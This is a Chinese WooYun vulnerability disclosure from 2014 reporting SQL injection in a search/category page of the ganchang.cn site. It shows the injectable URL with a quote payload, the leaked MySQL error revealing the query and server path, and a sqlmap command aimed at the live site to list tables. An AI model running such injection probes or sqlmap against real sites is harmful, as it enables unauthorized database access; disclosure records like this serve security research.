当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-050035

漏洞标题:赶场网搜索页面存在SQL注入漏洞

相关厂商:赶场网

漏洞作者: l0velydream

提交时间:2014-01-29 10:21

修复时间:2014-03-15 10:22

公开时间:2014-03-15 10:22

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

赶场网搜索页面存在SQL注入漏洞

详细说明:

http://beijing.ganchang.cn/
在查找搜索处存在SQL注入。
http://beijing.ganchang.cn/categorylist/index.html?id=23%27
看看显示啥。。。
A Database Error Occurred
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
SELECT `id`, `uflag`, `state`, `pid`, `info_model_id`, `name`, `ename`, `seo_title`, `seo_keyword`, `seo_description`, `notice`, `price`, `pricestate`, `is_upload_img`, `display_order`, `infonum`, `totalnum` FROM `gc_category` WHERE id=23'
Filename: /data0/www/ganchang/www/models/category_model.php
Line Number: 26
什么都不用说了。

漏洞证明:

python sqlmap.py -u "http://beijing.ganchang.cn/categorylist/index.html?id=23" --tables

proof.jpg


修复方案:

做过滤。

版权声明:转载请注明来源 l0velydream@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝